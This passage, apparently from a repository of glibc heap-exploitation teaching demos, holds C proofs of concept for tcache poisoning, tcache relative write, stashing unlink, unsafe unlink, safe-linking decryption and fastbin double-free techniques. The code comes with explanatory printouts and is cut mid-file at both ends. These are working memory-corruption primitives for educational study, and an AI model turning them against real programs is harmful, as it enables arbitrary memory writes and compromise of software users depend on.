want malloc() to return is %p.\\n\", target);\n\n\tprintf(\"Allocating 2 buffers.\\n\");\n\tintptr_t *a = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", a);\n\tintptr_t *b = malloc(128);\n\tprintf(\"malloc(128): %p\\n\", b);\n\n\tprintf(\"Freeing the buffers...\\n\");\n\tfree(a);\n\tfree(b);\n\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, a);\n\tprintf(\"We overwrite the first %lu bytes (fd/next pointer) of the data at %p\\n\"\n\t\t   \"to point to the location to control (%p).\\n\", sizeof(intptr_t), b, target);\n\t// VULNERABILITY\n\t// the following operation assumes the address of b is known, which requires a heap leak\n\tb[0] = (intptr_t)((long)target ^ (long)b >> 12);\n\t// VULNERABILITY\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, target);\n\n\tprintf(\"1st malloc(128): %p\\n\", malloc(128));\n\tprintf(\"Now the tcache list has [ %p ].\\n\", target);\n\n\tintptr_t *c = malloc(128);\n\tprintf(\"2nd malloc(128): %p\\n\", c);\n\tprintf(\"We got the control\\n\");\n\n\tassert((long)target == (long)c);\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.39/tcache_relative_write.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <malloc.h>\n\nint main(void)\n{\n    /*\n     * This document demonstrates TCache relative write technique\n     * Reference: https://d4r30.github.io/heap-exploit/2025/11/25/tcache-relative-write.html\n     *\n     * Objectives: \n     *   - To write a semi-arbitrary (or possibly fully arbitrary) value into an arbitrary location on heap\n     *   - To write the pointer of an attacker-controlled chunk into an arbitrary location on heap.\n     * \n     * Cause: UAF/Overflow\n     * Applicable versions: GLIBC >=2.30\n     *\n     * Prerequisites:\n     * \t - The ability to write a large value (>64) on an arbitrary location\n     * \t - Libc leak\n     * \t - Ability to malloc/free with sizes higher than TCache maximum chunk size (0x408)\n     *\n     * Summary: \n     * The core concept of \"TCache relative writing\" is around the fact that when the allocator is recording \n     * a tcache chunk in `tcache_perthread_struct` (tcache metadata), it does not enforce enough check and \n     * restraint on the computed tcachebin indice (`tc_idx`), thus WHERE the tcachebin count and head \n     * pointer will be written are not restricted by the allocator by any means. The allocator treats extended \n     * bin indices as valid in both `tcache_put` and `tcache_get` scenarios. If we're somehow able to write a \n     * huge value on one of the fields of mp_ (tcache_bins from malloc_par), by requesting \n     * a chunk size higher than TCache range, we can control the place that a **tcachebin pointer** and \n     * **counter** is going to be written. Considering the fact that a `tcache_perthread_struct` is normally \n     * placed on heap, one can perform a *TCache relative write* on an arbitrary point located after the tcache \n     * metadata chunk (Even on `tcache->entries` list to poison tcache metadata). By writing the new freed tcache \n     * chunk's pointer, we can combine this technique with other techniques like tcache poisoning or fastbin corruption \n     * and to trigger a heap leak. By writing the new counter, we can poison `tcache->entries`, write semi-arbitrary decimals\n     * into an arbitrary location of heap, with the right amount of mallocs and frees. With all these combined, one is \n     * able to create impactful chains of exploits, using this technique as their foundation.\n     *\n     * PoC written by D4R30 (Mahdyar Bahrami)\n     *\n    */\n\n    setbuf(stdout, NULL);\n    \n    printf(\"This file demonstrates TCache relative write, a technique used to achieve arbitrary decimal writing and chunk pointer arbitrary write on heap.\\n\");\n    printf(\"The technique takes advantage of the fact that the allocator does not enforce appropriate restraints on the computed tcache indices (tc_idx)\\n\");\n    printf(\"As a prerequisite, we should be capable of writing a large value (anything larger than 64) on an arbitrary location, which in our case is mp_.tcache_bins\\n\\n\");    \n\n    unsigned long *p1 = malloc(0x410);\t// The chunk that we can overflow or have a UAF on\n    unsigned long *p2 = malloc(0x100);\t// The target chunk used to demonstrate chunk overlap\n    size_t p2_orig_size = p2[-1];\n    \n    free(p1);\t// In this PoC, we use p1 simply for a libc leak\n\n    /* VULNERABILITY */\n\n    printf(\"First of all, you need to write a large value on mp_.tcache_bins, to bypass the tcache indice check.\\n\");\n    printf(\"This can be done by techniques that have unsortedbin attack's similar impact, like largebin attack, fastbin_reverse_into_tcache and house_of_mind_fastbins\\n\");\n    \n    // --- Step 1: Write a huge value into mp_.tcache_bins ---\n    // You should have the ability to write a huge value on an arbitrary location; this doesn't necessarily\n    // mean a full arbitrary write. Writing any value larger than 64 would suffice.\n    // This could be done in a program-specific way, or by a UAF/Overflow in target program. By a UAF/Overflow,\n    // you can use techniques like largebin attack, fastbin_reverse_into_tcache and house of mind (fastbins).\n\n    unsigned long *mp_tcache_bins = (void*)p1[0] - 0x938;   // Relative computation of &mp_.tcache_bins\n    printf(\"&mp_.tcache_bins: %p\\n\", mp_tcache_bins);\n\n    *mp_tcache_bins = 0x7fffffffffff;\t// Write a large value into mp_.tcache_bins\n    printf(\"mp_.tcache_bins is now set to a large value. This enables us to pass the only check on tc_idx\\n\\n\");\n\n    // Note: If we're also capable of making mp_.tcache_count a large value along with mp_.tcache_bins, we can\n    // trigger a fully arbitrary decimal writing. In the normal case, with just mp_tcache_bins set to a large value,\n    // what we can write into target is limited to a range of [0,7].  \n    printf(\"If you're also capable of setting mp_.tcache_count to a large value, you can possibly achieve a *fully* arbitrary write.\\n\");\n\n    /* END VULNERABILITY */\n\n    /*\n     * The idea is to craft a precise `tc_idx` such that, when it is used by `tcache_put`, the resulting write of \n     * tcachebin pointer and its counter occurs beyond the bounds of `tcache_perthread_struct` (which is on heap) \n     * and into our target location. This is done by requesting a chunk with the right amount of size and then \n     * freeing it. To compute the right size, we have to consider `csize2tidx` and the pointer arithmetic within \n     * `tcache_put` when it comes to indexing. The only check that can stop us from out-of-bounds writing is the \n     * `tc_idx < mp_.tcache_bins` check, which can get bypassed by writing a large value on `mp_.tcache_bins` (Which \n     * we already did in step 1)   \n    */\n\n    // --- Step 2: Compute the correct chunk size to malloc and then free --- \n    /*\n     * The next step is to acquire the exact chunk size (nb) we should malloc and free to trick tcache_put into \n     * writing the counter or pointer variable on the desired location.\n     * To precisely calculate the size, we first have to understand how a tc_idx (tcache index) is calculated. A tc_idx\n     * is computed by the csize2tidx macro. Here's its defenition:\n    \n      # define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)\n    \n     * If we let `nb` be the internal form of the freeing chunk size, `MALLOC_ALIGNMENT=0x10`, and `MINSIZE=0x20` then:\n     * tc_index = (nb - 0x20 + 0x10 -1) / 0x10 = (nb - 0x11) / 0x10\n     * Because tc_index is an integer: tc_index = (nb-16)/16 - 1\n     * So if `nb = 0x20` (least chunk size), then `tc_index = 0`, if `nb = 0x30`, then `tc_index = 1`, and so on.\n     * With some knowledge of C pointer arithmetic, we can predict the location of the tcachebin pointer & counter \n     * write, just by having `nb` on our hands:\n     \n     * unsigned long *ptr_write_loc = (void*)(&tcache->entries) + 8*tc_index = (void*)(&tcache->entries) + (nb-16)/2 - 8\n     * unsigned long *counter_write_loc = (void*)(&tcache->counts) + 2*tc_index = (void*)(&tcache->counts) + (nb-16)/8 - 2\n    \n     * Note: Here `tcache` is just symbol for a pointer to the heap-allocated `tcache_perthread_struct`\n     * In other words: \n     \n       * Location we want to overwrite with tcache pointer = tcache_entries location + (nb-16)/2 - 8\n       * Location we want to overwrite with the counter = tcache_counts location + (nb-16)/8 - 2\n     \n     * Note: To compute nb, you don't need to have absolute addresses for tcache_perthread_struct and the chosen location;\n     * only the difference between these two locations is required.\n     * So: \n         - For a chunk pointer arbitrary write: nb = 2*(delta+8)+16\n\t - For a counter arbitrary write: nb = 8*(delta+2)+16 \n     \n     * For example, if the tcache structure is allocated at `0x555555559000`, and you want to overwrite a half-word \n     * (`++counts[tc_index]`) at `0x5555555596b8`: \n     * delta = 0x5555555596b8 - (&tcache->counts) = 0x5555555596b8 - 0x555555559010 = 0x6a8\n     * Even if ASLR is on, the delta would always be `0x6a8`. So no heap-leak is required.\n    */\n\n    // --- Step 3: Combine with other techniques to create impactful attack chains ---\n    // In this PoC, we trigger a chunk overlapping and pointer arbitrary write to introduce the two main primitives.\n    //\n    // Note: Overlapping chunk attack & pointer arbitrary write are just two possible use cases here. You can come up with wide \n    // range of other possible attack chains, using tcache relative write as their foundation. It is obvious that you can \n    // write arbitrary decimal values, by requesting and freeing the same chunk multiple times; overlapping chunk attack is\n    // just one simple way to use that. \n\n    // ---------------------------------\n    // | Ex: Trigger chunk overlapping |\n    // ---------------------------------\n    // To see the counter arbitrary write in practice, let's assume that we want to write counter on p2->size and make chunk p2 \n    // a very large chunk, so that it overlaps the next chunks.   \n    // First of all, we need to compute delta, then put it into the formula we discussed to get nb.\n    printf(\"--- Chunk overlapping attack ---\\n\");\n    printf(\"Now, our goal is to make a large overlapping chunk. We already allocated two chunks: p1(%p) and p2(%p)\\n\", p1, p2);\n    printf(\"The goal is to corrupt p2->size to make it an overlapping chunk. The original usable size of p2 is: 0x%lx\\n\", p2_orig_size);\n    printf(\"To trigger tcache relative write in a way that p2->size is corrupted, we need to compute the exact chunk size(nb) to malloc and free\\n\");\n    printf(\"We use this formula: nb = 8*(delta+2)+16\\n\");\n\n    void *tcache_counts = (void*)p1 - 0x290; \t// Get tcache->counts\t\n    unsigned long delta = ((void*)p2 - 6) - tcache_counts;\n\n    // Based on the formula above: nb = 8*(delta+2)+16\n    unsigned long nb = 8*(delta+2)+16;\n\n    // That's it! Now we exactly know what chunk size we should request to trigger counter write on our target\n    unsigned long *p = malloc(nb-0x10);\t\n    \n    // Trigger TCache relative write\n    free(p);\n    \n    // Now lets see if p2's size is changed\n    assert(p2[-1] > p2_orig_size);\n    printf(\"p2->size after tcache relative write is: 0x%lx\\n\\n\", p2[-1]);\n\n    // Now we can free p2 and later recover it with a larger request\n    free(p2);\n    p = malloc(0x10100); \n\n    // Lets see if the new returned pointer equals p2 \n    assert(p == p2);\n\n    // -------------------------------------\n    // | Ex: Chunk pointer arbitrary write |\n    // -------------------------------------\n    // Now to further demonstrate the power of tcache-relative write, lets relative write a freeing chunk\n    // pointer into an arbitrary location. This can be used for tcache poisoning, fastbin corruption,  \n    // House of Lore, etc.\n    printf(\"--- Chunk pointer arbitrary write ---\\n\");\n    printf(\"To demonstrate the chunk pointer arbitrary write capability, our goal is to write a freeing chunk pointer at p2->fd\\n\");\n    printf(\"We use the formula nb = 2*(delta+8)+16\");\n\n    // Compute delta (The difference between &p1->fd and &tcache->entries)\n    void *tcache_entries = (void*)p1 - 0x210;  // Compute &tcache->entries\n    delta = (void*)p1 - tcache_entries;\n\n    // Based on the formulas we discussed above: nb = 2*(delta+8)+16\n    nb = 2*(delta+8)+16; \n\n    printf(\"We should request and free a chunk of size 0x%lx\\n\", nb-0x10);\n    p = malloc(nb-0x10); \n\n    // Trigger tcache relative write (Write freeing pointer into p1->fd)\n    printf(\"Freeing p (%p) to trigger relative write.\\n\", p);\n    free(p);\n\n    assert(p1[0] == (unsigned long)p);\n    printf(\"p1->fd is now set to p, the chunk that we just freed.\\n\");\n\n    // tcache poisoning, fastbin corruption (<2.32 only with tcache relative write), house of lore, etc....\n}\n\n"
  },
  {
    "path": "glibc_2.39/tcache_stashing_unlink_attack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n    unsigned long stack_var[0x10] = {0};\n    unsigned long *chunk_lis[0x10] = {0};\n    unsigned long *target;\n\n    setbuf(stdout, NULL);\n\n    printf(\"This file demonstrates the stashing unlink attack on tcache.\\n\\n\");\n    printf(\"This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\\n\\n\");\n    printf(\"This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\\n\\n\");\n    printf(\"The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\\n\\n\");\n    printf(\"This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\\n\\n\");\n\n    // stack_var emulate the fake_chunk we want to alloc to\n    printf(\"Stack_var emulates the fake chunk we want to alloc to.\\n\\n\");\n    printf(\"First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\\n\\n\");\n\n    stack_var[3] = (unsigned long)(&stack_var[2]);\n\n    printf(\"You can see the value of fake_chunk->bk is:%p\\n\\n\",(void*)stack_var[3]);\n    printf(\"Also, let's see the initial value of stack_var[4]:%p\\n\\n\",(void*)stack_var[4]);\n    printf(\"Now we alloc 9 chunks with malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.39/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.40/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.40/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.40/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.40/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned 